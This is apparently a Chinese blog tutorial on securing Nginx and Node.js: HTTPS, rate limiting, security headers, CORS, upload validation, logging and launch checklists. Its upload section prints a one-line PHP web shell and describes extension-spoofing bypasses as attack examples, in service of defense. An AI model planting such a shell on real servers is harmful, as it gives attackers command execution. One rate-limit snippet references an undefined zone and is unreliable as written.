# 第二步:申请免费 SSL 证书(自动配置 Nginx)
# sudo certbot --nginx -d example.com -d www.example.com

# certbot 会自动修改你的 Nginx 配置,添加 SSL 相关设置
# 证书有效期 90 天,certbot 会自动续期

# 第三步:测试自动续期
# sudo certbot renew --dry-run

# 第四步:设置定时任务自动续期(crontab)
# 0 0,12 * * * certbot renew --quiet --post-hook "systemctl reload nginx"

10.2 生产级 HTTPS 安全配置(Mozilla 推荐)

nginx 复制代码
server {
    # ======== HTTP 强制跳转 HTTPS ========
    listen 80;
    server_name example.com www.example.com;
    
    # HSTS:告诉浏览器未来 1 年内只用 HTTPS 访问
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    
    # 301 永久重定向到 HTTPS
    return 301 https://$host$request_uri;
}

server {
    # ======== HTTPS 主配置 ========
    listen 443 ssl http2;               # 启用 HTTP/2 提升性能
    server_name example.com www.example.com;
    
    # -------- SSL 证书路径 --------
    ssl_certificate     /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
    
    # -------- SSL 协议和加密套件 --------
    # 只允许 TLS 1.2 和 1.3(禁用不安全的 SSL 和 TLS 1.0/1.1)
    ssl_protocols TLSv1.2 TLSv1.3;
    
    # Mozilla 推荐的加密套件(从强到弱排列)
    ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384';
    
    # 优先使用服务端的加密套件顺序
    ssl_prefer_server_ciphers on;
    
    # -------- SSL Session 缓存(提升性能)--------
    ssl_session_cache shared:SSL:10m;       # 10MB 缓存,约 40000 个会话
    ssl_session_timeout 1d;                 # 会话超时 1 天
    ssl_session_tickets off;                # 禁用 session tickets(前向安全)
    
    # -------- OCSP Stapling(加速证书验证)--------
    ssl_stapling on;
    ssl_stapling_verify on;
    resolver 8.8.8.8 8.8.4.4 valid=300s;
    resolver_timeout 5s;
    
    # -------- DH 参数(提升密钥交换安全性)--------
    # 生成:openssl dhparam -out /etc/nginx/dhparam.pem 2048
    ssl_dhparam /etc/nginx/dhparam.pem;
    
    # -------- 安全响应头 --------
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';" always;
    
    # -------- 日志 --------
    access_log /var/log/nginx/example.com_ssl_access.log;
    error_log  /var/log/nginx/example.com_ssl_error.log;
    
    # -------- 反向代理到 Node.js --------
    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_cache_bypass $http_upgrade;
    }
}

10.3 SSL 安全等级对照表

等级 协议 适用场景
⛔ 禁止 SSL 2.0, SSL 3.0 已被破解,绝对不能使用
⛔ 禁止 TLS 1.0, TLS 1.1 已弃用(2021年起)
✅ 推荐 TLS 1.2 当前主流,兼容性最好
⭐ 最优 TLS 1.3 最新标准,更快更安全

💡 快速检查 :用 SSL Labs Test 检测你的 HTTPS 配置安全等级,目标是 A+。


十一、限流与防暴力破解

🚦 通俗比喻:限流就像高速公路的收费站------车流量太大时,控制每分钟放行多少辆车,防止服务器被压垮。防暴力破解就像银行卡密码输错3次就冻结------攻击者连续猜密码,到一定次数就锁定。

11.1 Nginx 限流配置

nginx 复制代码
# ======== 在 http 块中定义限流区域 ========
http {
    # 基于 IP 的请求速率限制
    # $binary_remote_addr = 客户端 IP 的二进制格式(节省内存)
    # zone=api_limit:10m = 分配 10MB 内存存储状态
    # rate=10r/s = 每个 IP 每秒最多 10 个请求
    limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
    
    # 基于 IP 的并发连接数限制
    limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
    
    # ======== 在 server 块中应用限流 ========
    server {
        # API 接口限流
        location /api/ {
            # burst=20 = 允许突发 20 个请求排队
            # nodelay = 突发请求不延迟处理,超出直接拒绝
            limit_req zone=api_limit burst=20 nodelay;
            
            # 每个 IP 最多 5 个并发连接
            limit_conn conn_limit 5;
            
            # 被限流时返回 429 状态码(默认 503)
            limit_req_status 429;
            
            proxy_pass http://127.0.0.1:3000;
        }
        
        # 登录接口更严格的限流(防暴力破解)
        location /api/login {
            # 每个 IP 每秒只允许 2 次登录请求
            limit_req zone=login_limit burst=5 nodelay;
            limit_conn conn_limit 2;
            
            proxy_pass http://127.0.0.1:3000;
        }
        
        # 静态资源不限流
        location /static/ {
            # 不限流
            alias /var/www/static/;
        }
    }
}

11.2 Node.js 应用层限流

javascript 复制代码
const rateLimit = require('express-rate-limit');
const Redis = require('ioredis');
const redis = new Redis();

// ======== 方案一:express-rate-limit(单机)========
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,   // 15 分钟时间窗口
  max: 100,                     // 每个 IP 最多 100 次请求
  message: '请求过于频繁,请稍后再试',
  standardHeaders: true,        // 返回 RateLimit-* 头信息
  legacyHeaders: false,         // 禁用 X-RateLimit-* 头
  handler: (req, res) => {
    res.status(429).json({
      error: '请求过于频繁',
      retryAfter: Math.ceil(req.rateLimit.resetTime / 1000)
    });
  }
});

// 应用到所有 API 路由
app.use('/api/', apiLimiter);

// 登录接口单独限流(更严格)
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,   // 15 分钟
  max: 5,                       // 每个 IP 最多 5 次登录
  message: '登录尝试过多,请 15 分钟后再试',
  skipSuccessfulRequests: true  // 成功的登录不计入限额
});

app.use('/api/login', loginLimiter);

// ======== 方案二:Redis 分布式限流(多台服务器)========
async function redisRateLimit(key, limit, windowSeconds) {
  const now = Date.now();
  const windowStart = now - windowSeconds * 1000;
  
  // 使用 Redis 有序集合实现滑动窗口限流
  const pipeline = redis.pipeline();
  
  // 1. 移除过期的请求记录
  pipeline.zremrangebyscore(key, 0, windowStart);
  // 2. 添加当前请求
  pipeline.zadd(key, now, `${now}:${Math.random()}`);
  // 3. 统计时间窗口内的请求数
  pipeline.zcard(key);
  // 4. 设置过期时间
  pipeline.expire(key, windowSeconds);
  
  const results = await pipeline.exec();
  const count = results[2][1];  // zcard 的返回值
  
  return count <= limit;
}

// 中间件
app.use('/api/', async (req, res, next) => {
  const key = `ratelimit:${req.ip}`;
  const allowed = await redisRateLimit(key, 100, 900);  // 15分钟100次
  
  if (!allowed) {
    return res.status(429).json({ error: '请求过于频繁' });
  }
  next();
});

11.3 防暴力破解:账户锁定机制

javascript 复制代码
// 登录失败计数 + 账户锁定
async function handleLoginAttempt(username, ip) {
  const key = `login_fail:${username}`;
  const ipKey = `login_fail_ip:${ip}`;
  
  // 获取失败次数
  const [userFails, ipFails] = await Promise.all([
    redis.get(key),
    redis.get(ipKey)
  ]);
  
  // 检查是否被锁定
  if (parseInt(userFails) >= 5) {
    const ttl = await redis.ttl(key);
    throw new Error(`账户已锁定,请 ${Math.ceil(ttl / 60)} 分钟后再试`);
  }
  
  if (parseInt(ipFails) >= 20) {
    throw new Error('该 IP 登录尝试过多,请稍后再试');
  }
}

// 登录失败时调用
async function onLoginFail(username, ip) {
  const key = `login_fail:${username}`;
  const ipKey = `login_fail_ip:${ip}`;
  
  // 增加失败计数,设置 30 分钟过期
  await redis.incr(key);
  await redis.expire(key, 1800);
  await redis.incr(ipKey);
  await redis.expire(ipKey, 1800);
}

// 登录成功时清除计数
async function onLoginSuccess(username, ip) {
  await redis.del(`login_fail:${username}`);
  // 注意:IP 级别的计数不清除,防止攻击者换用户名绕过
}

十二、安全响应头完整配置

📋 通俗比喻:安全响应头就像快递包裹上的"易碎品"、"禁止拆开"等标签。它们告诉浏览器应该如何处理这个响应,为你的 Web 应用加上一层额外保护。

12.1 安全响应头一览表

响应头 作用 推荐值 防护的攻击
Strict-Transport-Security 强制 HTTPS max-age=31536000; includeSubDomains 协议降级攻击
X-Content-Type-Options 禁止 MIME 嗅探 nosniff MIME 嗅探攻击
X-Frame-Options 禁止 iframe 嵌入 SAMEORIGIN 点击劫持
X-XSS-Protection 浏览器 XSS 过滤 1; mode=block 反射型 XSS
Referrer-Policy 控制 Referer 信息 strict-origin-when-cross-origin 信息泄露
Permissions-Policy 控制浏览器功能权限 camera=(), microphone=(), geolocation=() 功能滥用
Content-Security-Policy 资源加载白名单 见第五章 XSS/数据注入

12.2 Nginx 统一配置

nginx 复制代码
# 在 server 块中统一添加安全头
server {
    # HSTS:强制 HTTPS(先确认 HTTPS 正常后再启用)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    
    # 禁止 MIME 类型嗅探
    # 场景:攻击者上传了一个 .jpg 文件但实际包含 JS 代码
    # 没有 nosniff:浏览器可能执行其中的 JS
    # 有 nosniff:浏览器严格按照声明的 Content-Type 处理
    add_header X-Content-Type-Options "nosniff" always;
    
    # 点击劫持防护
    add_header X-Frame-Options "SAMEORIGIN" always;
    
    # XSS 过滤(主要保护旧浏览器,现代浏览器依赖 CSP)
    add_header X-XSS-Protection "1; mode=block" always;
    
    # 控制 Referer 泄露
    # 场景:用户从你的网站点击外链,不想让外部网站知道完整的 URL
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    
    # 权限策略:禁止网站使用摄像头/麦克风/地理位置
    # 场景:防止恶意 JS 偷偷开启摄像头
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    
    # CORS 跨域配置(如果需要跨域)
    add_header Access-Control-Allow-Origin "https://your-frontend.com" always;
    add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
    add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
    add_header Access-Control-Max-Age "86400" always;
}

12.3 Node.js + Helmet 一键配置

javascript 复制代码
const helmet = require('helmet');

// ✅ 方式一:使用默认配置(推荐新手)
app.use(helmet());
// helmet() 默认开启以下 15 个安全头:
// - contentSecurityPolicy (CSP)
// - crossOriginEmbedderPolicy
// - crossOriginOpenerPolicy
// - crossOriginResourcePolicy
// - dnsPrefetchControl
// - frameguard (X-Frame-Options)
// - hidePoweredBy (移除 X-Powered-By)
// - hsts (Strict-Transport-Security)
// - ieNoOpen
// - noSniff (X-Content-Type-Options)
// - originAgentCluster
// - referrerPolicy
// - xssFilter (X-XSS-Protection)

// ✅ 方式二:自定义配置(推荐生产环境)
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.jsdelivr.net"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"]
    }
  },
  hsts: {
    maxAge: 31536000,           // 1年
    includeSubDomains: true,
    preload: true
  },
  frameguard: {
    action: 'sameorigin'
  },
  referrerPolicy: {
    policy: 'strict-origin-when-cross-origin'
  }
}));

// ✅ 方式三:移除敏感信息头
// 移除 X-Powered-By: Express(避免暴露服务器技术栈)
app.disable('x-powered-by');
// 或通过 helmet 自动移除
// helmet 默认就会移除 X-Powered-By

十三、CORS 跨域安全配置

🌐 通俗比喻:CORS 就像小区的门禁系统。你家(前端域名 A)想叫外卖(请求后端域名 B 的接口),外卖员(浏览器)会先问 B 家的物业(CORS 头):"A 家的住户可以叫你家外卖吗?"如果 B 家的物业没说"可以",外卖员就不送。

13.1 CORS 预检请求流程

复制代码
前端发起请求 → 浏览器检查是否跨域
  ├─ 简单请求(GET/POST + 普通头)→ 直接发送,检查响应头
  └─ 复杂请求(PUT/DELETE + 自定义头)→ 先发 OPTIONS 预检请求
       ├─ 服务端返回允许 → 发送实际请求
       └─ 服务端返回拒绝 → 阻止请求,控制台报 CORS 错误

13.2 Node.js CORS 配置(cors 库)

javascript 复制代码
const cors = require('cors');

// ❌ 危险:允许所有来源
app.use(cors({ origin: '*' }));

// ✅ 安全:白名单模式
const allowedOrigins = [
  'https://www.example.com',
  'https://admin.example.com',
  'http://localhost:3000'   // 开发环境
];

app.use(cors({
  origin: function (origin, callback) {
    // 允许没有 origin 的请求(服务器间请求、Postman 等)
    if (!origin) return callback(null, true);
    
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('CORS policy: 不允许的来源'));
    }
  },
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-Requested-With'],
  credentials: true,          // 允许发送 Cookie
  maxAge: 86400               // 预检结果缓存 24 小时
}));

// ✅ 针对特定路由的 CORS 配置
app.post('/api/webhook', cors({ origin: 'https://payment-gateway.com' }), handler);

13.3 Nginx CORS 配置

nginx 复制代码
# 针对跨域 API 接口
location /api/ {
    # 白名单校验来源
    if ($http_origin ~* ^(https://www\.example\.com|https://admin\.example\.com)$) {
        add_header Access-Control-Allow-Origin $http_origin always;
    }
    
    add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
    add_header Access-Control-Allow-Headers "Content-Type, Authorization, X-Requested-With" always;
    add_header Access-Control-Allow-Credentials "true" always;
    add_header Access-Control-Max-Age "86400" always;
    
    # 处理 OPTIONS 预检请求
    if ($request_method = OPTIONS) {
        return 204;
    }
    
    proxy_pass http://127.0.0.1:3000;
}

13.4 CORS 常见错误速查

错误信息 原因 解决方案
No 'Access-Control-Allow-Origin' 服务端未设置 CORS 头 添加 Access-Control-Allow-Origin
Credentials flag is 'true' credentials:true 时不能用 * 改为具体域名白名单
Preflight wildcard not allowed 预检请求响应不支持 * 预检响应也要用具体值
Redirect not allowed CORS 请求被重定向 直接请求最终地址

十四、文件上传安全

📁 通俗比喻:文件上传就像快递收件窗口。如果不检查,有人可能寄来一个炸弹(恶意脚本),伪装成普通包裹(改后缀名)。文件上传安全就是快递员的安检流程------检查包裹类型、大小、内容,确保安全才放行。

14.1 攻击场景举例

复制代码
// 攻击场景1:上传 WebShell
// 攻击者上传 shell.php(伪装成 shell.jpg)
// 内容:<?php system($_GET['cmd']); ?>
// 如果服务器直接保存并可通过 URL 访问,攻击者就能执行任意命令

// 攻击场景2:双后缀名绕过
// 攻击者上传 shell.php.jpg
// 如果服务端只检查最后一个后缀,会认为是 jpg
// 但某些服务器配置(如 Apache)可能执行 .php 部分

// 攻击场景3:Content-Type 欺骗
// 攻击者上传 shell.php,但设置 Content-Type: image/jpeg
// 如果只检查 Content-Type 头,会被认为是图片

14.2 Node.js 安全文件上传(multer)

javascript 复制代码
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');

// ======== 存储配置 ========
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, '/var/www/uploads/');  // 上传目录(不在 Web 根目录下!)
  },
  filename: (req, file, cb) => {
    // 1. 使用随机文件名(防止文件名注入和覆盖)
    const ext = path.extname(file.originalname).toLowerCase();
    const randomName = crypto.randomBytes(16).toString('hex');
    cb(null, `${randomName}${ext}`);
  }
});

// ======== 文件过滤器 ========
const fileFilter = (req, file, cb) => {
  // 白名单允许的文件类型
  const allowedTypes = ['.jpg', '.jpeg', '.png', '.gif', '.pdf', '.doc', '.docx'];
  const allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 
                         'application/pdf', 
                         'application/msword',
                         'application/vnd.openxmlformats-officedocument.wordprocessingml.document'];
  
  const ext = path.extname(file.originalname).toLowerCase();
  
  // 双重检查:扩展名 + MIME 类型
  if (allowedTypes.includes(ext) && allowedMimes.includes(file.mimetype)) {
    cb(null, true);
  } else {
    cb(new Error('不支持的文件类型'), false);
  }
};

// ======== 创建 multer 实例 ========
const upload = multer({
  storage,
  fileFilter,
  limits: {
    fileSize: 5 * 1024 * 1024,    // 最大 5MB
    files: 5,                      // 最多 5 个文件
    fields: 10                     // 最多 10 个表单字段
  }
});

// ======== 使用路由 ========
app.post('/api/upload', upload.single('avatar'), (req, res) => {
  if (!req.file) {
    return res.status(400).json({ error: '请选择文件' });
  }
  
  // 额外验证:检查文件真实类型(读取文件头魔数)
  const filePath = req.file.path;
  const buffer = fs.readFileSync(filePath);
  
  // 验证图片文件头(Magic Number)
  const imageMagics = {
    'image/jpeg': [0xFF, 0xD8, 0xFF],
    'image/png':  [0x89, 0x50, 0x4E, 0x47],
    'image/gif':  [0x47, 0x49, 0x46]
  };
  
  const mime = Object.entries(imageMagics).find(([_, magic]) => {
    return magic.every((byte, i) => buffer[i] === byte);
  });
  
  if (!mime) {
    fs.unlinkSync(filePath);  // 删除非法文件
    return res.status(400).json({ error: '文件内容与类型不匹配' });
  }
  
  res.json({ 
    success: true,
    filename: req.file.filename,
    url: `/files/${req.file.filename}`  // 返回安全的访问路径
  });
});

14.3 Nginx 文件上传安全配置

nginx 复制代码
# 上传文件大小限制
client_max_body_size 5m;

# 上传文件的存储目录(关键:不可直接通过 URL 访问!)
location /uploads/ {
    # 禁止执行上传目录中的脚本文件
    location ~* /uploads/.*\.(php|jsp|py|sh|cgi|pl)$ {
        deny all;
    }
    
    # 只允许静态文件访问
    alias /var/www/uploads/;
    
    # 禁止目录浏览
    autoindex off;
}

# 通过 Node.js 中间接口访问文件(不直接暴露文件路径)
location /files/ {
    proxy_pass http://127.0.0.1:3000/files/;
    # Node.js 做权限验证后再返回文件内容
}

14.4 文件上传安全检查清单

检查项 说明 实现方式
扩展名白名单 只允许安全的文件类型 multer fileFilter
MIME 类型校验 检查 Content-Type multer fileFilter
文件头魔数验证 读取文件字节判断真实类型 读取 buffer 前几个字节
文件大小限制 防止大文件耗尽磁盘 multer limits + nginx
随机文件名 防止文件名注入和覆盖 crypto.randomBytes
独立存储目录 上传目录不在 Web 根目录 配置独立路径
禁止执行脚本 上传目录不能执行代码 nginx deny + 静态服务
权限验证 访问文件需要鉴权 Node.js 中间件

十五、日志与安全监控

📊 通俗比喻:日志就像银行的监控摄像头。出了事(被攻击),你得能回放录像(查日志)找出是谁、什么时候、做了什么。没有日志,等于蒙着眼瞎开------被攻击了都不知道。

15.1 Nginx 安全日志配置

nginx 复制代码
# 自定义日志格式(包含安全相关信息)
log_format security '$remote_addr - $remote_user [$time_local] '
                    '"$request" $status $body_bytes_sent '
                    '"$http_referer" "$http_user_agent" '
                    '"$http_x_forwarded_for" '
                    'request_time=$request_time';

# 访问日志
access_log /var/log/nginx/access.log security;

# 错误日志(记录异常)
error_log /var/log/nginx/error.log warn;

# 记录被限流的请求
limit_req_log_level warn;

# ======== 敏感路径监控 ========
# 对关键路径的请求单独记录日志
location /api/admin/ {
    access_log /var/log/nginx/admin_access.log security;
    # 管理员操作日志单独存储,便于审计
    proxy_pass http://127.0.0.1:3000;
}

# 记录所有 4xx/5xx 错误
location @error_handler {
    access_log /var/log/nginx/security_alerts.log security;
    return 500;
}

15.2 Node.js 安全日志(Winston)

javascript 复制代码
const winston = require('winston');
const { combine, timestamp, printf, json } = winston.format;

// 自定义日志格式
const logFormat = printf(({ level, message, timestamp, ip, userId, ...meta }) => {
  return JSON.stringify({
    timestamp,
    level,
    message,
    ip: ip || 'unknown',
    userId: userId || 'anonymous',
    ...meta
  });
});

// 创建 logger
const logger = winston.createLogger({
  level: 'info',
  format: combine(timestamp(), logFormat),
  transports: [
    // 普通日志
    new winston.transports.File({ filename: 'logs/app.log' }),
    // 错误日志单独存放
    new winston.transports.File({ filename: 'logs/error.log', level: 'error' }),
    // 安全事件单独存放
    new winston.transports.File({ filename: 'logs/security.log', level: 'warn' })
  ]
});

// ======== 安全事件日志中间件 ========
function securityLogger(req, res, next) {
  const startTime = Date.now();
  
  // 记录请求
  logger.info('Request', {
    ip: req.ip,
    method: req.method,
    url: req.originalUrl,
    userAgent: req.headers['user-agent'],
    userId: req.user?.id
  });
  
  // 监控响应
  res.on('finish', () => {
    const duration = Date.now() - startTime;
    
    // 记录可疑活动
    if (res.statusCode === 401) {
      logger.warn('Authentication Failed', {
        ip: req.ip,
        url: req.originalUrl,
        userAgent: req.headers['user-agent']
      });
    }
    
    if (res.statusCode === 403) {
      logger.warn('Access Denied', {
        ip: req.ip,
        url: req.originalUrl,
        userId: req.user?.id
      });
    }
    
    // 异常慢请求(可能有攻击)
    if (duration > 5000) {
      logger.warn('Slow Request', {
        ip: req.ip,
        url: req.originalUrl,
        duration
      });
    }
  });
  
  next();
}

app.use(securityLogger);

// ======== 登录日志 ========
async function logLogin(userId, ip, success) {
  if (success) {
    logger.info('Login Success', { userId, ip });
  } else {
    logger.warn('Login Failed', { ip, userId });
  }
}

// ======== 敏感操作日志 ========
async function logSensitiveAction(userId, action, target, ip) {
  logger.warn('Sensitive Action', {
    userId, action, target, ip,
    timestamp: new Date().toISOString()
  });
  // 例如:删除用户、修改权限、导出数据等
}

15.3 日志安全检查清单

检查项 说明
记录所有登录尝试 成功和失败都要记录,包含 IP 和时间
记录敏感操作 增删改权限、导出数据、修改密码等
不记录敏感数据 密码、Token、信用卡号不能出现在日志中
日志轮转 使用 logrotate 防止日志文件无限增长
日志权限 日志文件只允许管理员读取(chmod 600)
集中管理 使用 ELK/Grafana Loki 集中收集分析日志
异常告警 设置自动告警规则(如短时间内大量 401)

十六、生产环境安全清单:上线前必查

通俗比喻:这份清单就像飞机起飞前的安全检查------飞行员不会凭记忆检查,而是对照清单逐项确认。上线前过一遍这份清单,能避免 90% 的低级安全漏洞。

16.1 Nginx 安全清单

序号 检查项 配置示例 状态
1 启用 HTTPS,禁用 HTTP listen 443 ssl; + 301 跳转
2 SSL 协议限 TLS 1.2+ ssl_protocols TLSv1.2 TLSv1.3;
3 启用 HSTS add_header Strict-Transport-Security
4 隐藏版本号 server_tokens off;
5 配置安全响应头 X-Content-Type-Options, X-Frame-Options 等
6 配置 CSP Content-Security-Policy
7 配置限流 limit_req_zone + limit_conn_zone
8 禁止敏感路径访问 deny all for /.env, /git/
9 配置 CORS Access-Control-Allow-Origin 白名单
10 上传文件大小限制 client_max_body_size 5m;
11 启用日志 access_log + error_log
12 禁用目录浏览 autoindex off;

16.2 Node.js 安全清单

序号 检查项 实现方式 状态
1 使用 helmet 设置安全头 app.use(helmet())
2 参数化查询防注入 Prepared Statement / ORM
3 bcrypt 加密密码 bcrypt.hash(password, 12)
4 JWT 安全配置 强密钥 + algorithms限制 + 短过期
5 输入校验 express-validator / joi / zod
6 限流防暴力破解 express-rate-limit
7 CORS 白名单 cors({ origin: whitelist })
8 文件上传安全 类型白名单 + 大小限制 + 随机文件名
9 Cookie 安全 httpOnly + secure + sameSite
10 CSRF 防护 csurf / SameSite Cookie
11 错误处理不泄露信息 生产环境关闭 stack trace
12 依赖安全审计 npm audit / snyk

16.3 前端安全清单

序号 检查项 实现方式 状态
1 XSS 防护:转义输出 textContent / DOMPurify
2 不使用 innerHTML 用 textContent 或框架自动转义
3 不使用 eval/Function 禁止动态代码执行
4 敏感数据不存 localStorage 使用 httpOnly Cookie
5 密码不明文传输 HTTPS + bcrypt 服务端加密
6 前端输入校验(用户体验) 配合后端校验(双保险)
7 第三方脚本白名单 配合 CSP 策略
8 依赖安全审计 npm audit / GitHub Dependabot

十七、推荐安全工具与资源

17.1 安全检测工具

工具 用途 使用场景
SSL Labs HTTPS 配置检测 检测 SSL/TLS 配置安全等级
Security Headers 安全响应头检测 检测网站安全头配置
npm audit 依赖漏洞扫描 npm audit / npm audit fix
Snyk 持续安全监控 自动化依赖漏洞检测和修复
OWASP ZAP Web 应用渗透测试 自动化安全扫描
Helmet Express 安全头 npm install helmet
OWASP CRS WAF 规则集 Nginx ModSecurity 防火墙规则

17.2 日常安全检查命令

bash 复制代码
# 1. 检查 Node.js 项目依赖漏洞
npm audit
npm audit fix                # 自动修复可修复的漏洞

# 2. 使用 npx 运行安全检查(无需安装)
npx snyk test                # Snyk 安全扫描
npx is-website-vulnerable    # 检测网站是否使用了有漏洞的 JS 库

# 3. 检查 Nginx 配置语法
nginx -t                     # 测试配置文件语法是否正确

# 4. 查看 Nginx 日志中的异常请求
grep " 40[0-9] " /var/log/nginx/access.log | tail -20     # 最近的 4xx 错误
grep " 50[0-9] " /var/log/nginx/access.log | tail -20     # 最近的 5xx 错误
grep "POST /api/login" /var/log/nginx/access.log | tail -20  # 最近的登录请求

# 5. 检查服务器开放端口(确认没有意外的开放端口)
netstat -tlnp | grep LISTEN

# 6. 检查文件权限
ls -la /var/www/uploads/     # 上传目录权限
ls -la /etc/nginx/           # Nginx 配置权限

十八、总结:安全防护架构全景图

复制代码
┌──────────────────────────────────────────────────────────────────┐
│                        用户(浏览器)                              │
│  输入校验 · XSS防护 · CSP · 敏感数据保护                           │
└────────────────────────────┬─────────────────────────────────────┘
                             │ HTTPS (TLS 1.2/1.3)
                             ▼
┌──────────────────────────────────────────────────────────────────┐
│                     Nginx(第一道防线)                            │
│  SSL/TLS · 安全头 · 限流 · 防点击劫持 · CORS · 禁目录浏览          │
│  隐藏版本号 · 缓冲区保护 · 文件上传限制                              │
└────────────────────────────┬─────────────────────────────────────┘
                             │ 反向代理
                             ▼
┌──────────────────────────────────────────────────────────────────┐
│                  Node.js(第二道防线)                             │
│  Helmet · 参数化查询 · bcrypt · JWT安全 · 输入校验                  │
│  限流 · CORS · 文件上传安全 · Cookie安全 · 日志监控                  │
└────────────────────────────┬─────────────────────────────────────┘
                             │
                             ▼
┌──────────────────────────────────────────────────────────────────┐
│                    数据库(第三道防线)                             │
│  最小权限账号 · 数据加密 · 连接池 · 审计日志                         │
└──────────────────────────────────────────────────────────────────┘

🎯 安全防护的黄金法则

  1. 纵深防御:不依赖单一防护,每层都要有保护
  2. 最小权限:只给需要的最小权限
  3. 永远不信任用户输入:所有输入都要校验和转义
  4. 保持更新:及时更新依赖包和系统补丁
  5. 记录日志:出了问题能追溯
  6. 定期审计:安全是持续的过程,不是一次性的

希望这篇指南对你有帮助!安全防护是一个持续学习的过程,建议收藏本文作为参考手册,在项目上线前对照安全清单逐项检查。如有问题或建议,欢迎在评论区交流! 🙏


📅 更新日期:2025年5月

🏷️ 标签:Web安全 | Node.js | Nginx | 前端安全 | 后端安全 | HTTPS | XSS | CSRF | SQL注入

相关推荐
lcreek2 小时前
SQL 注入实战:DVWA High 完整测试指南
网络安全·sql注入
不灭锦鲤5 小时前
网络安全第120天
安全·web安全
超级无敌zhq5 小时前
后渗透痕迹清理:攻防对抗中的隐身术
网络·数据库·网络安全
打码人的日常分享5 小时前
数据安全,网络安全风险评估报告(Word)
安全·web安全
TechWayfarer7 小时前
IP画像在企业安全中的应用:它能做什么?不能替代什么
网络·python·tcp/ip·安全·网络安全
杭州默安科技7 小时前
AI挖掘0day漏洞常态化,企业网络防御该如何破局?
人工智能·网络安全
Inhand陈工8 小时前
映翰通IG502实战:通过RS232采集交通信号灯数据,实现自动短信告警
网络·嵌入式硬件·物联网·网络安全·边缘计算·信息与通信·信号处理
淼淼爱喝水8 小时前
DVWA跨站请求伪造漏洞检测实验
网络安全·dvwa
行者-全栈开发8 小时前
【智慧防洪】水利物联网监测网络设计:从传感器选型到边缘计算的完整实践
物联网·网络安全·lora·边缘计算·nb-iot·mqtt 协议·传感器选型
X7x510 小时前
可信计算架构:数字时代的安全基石
网络安全·网络攻击模型·安全威胁分析·安全架构·可信计算架构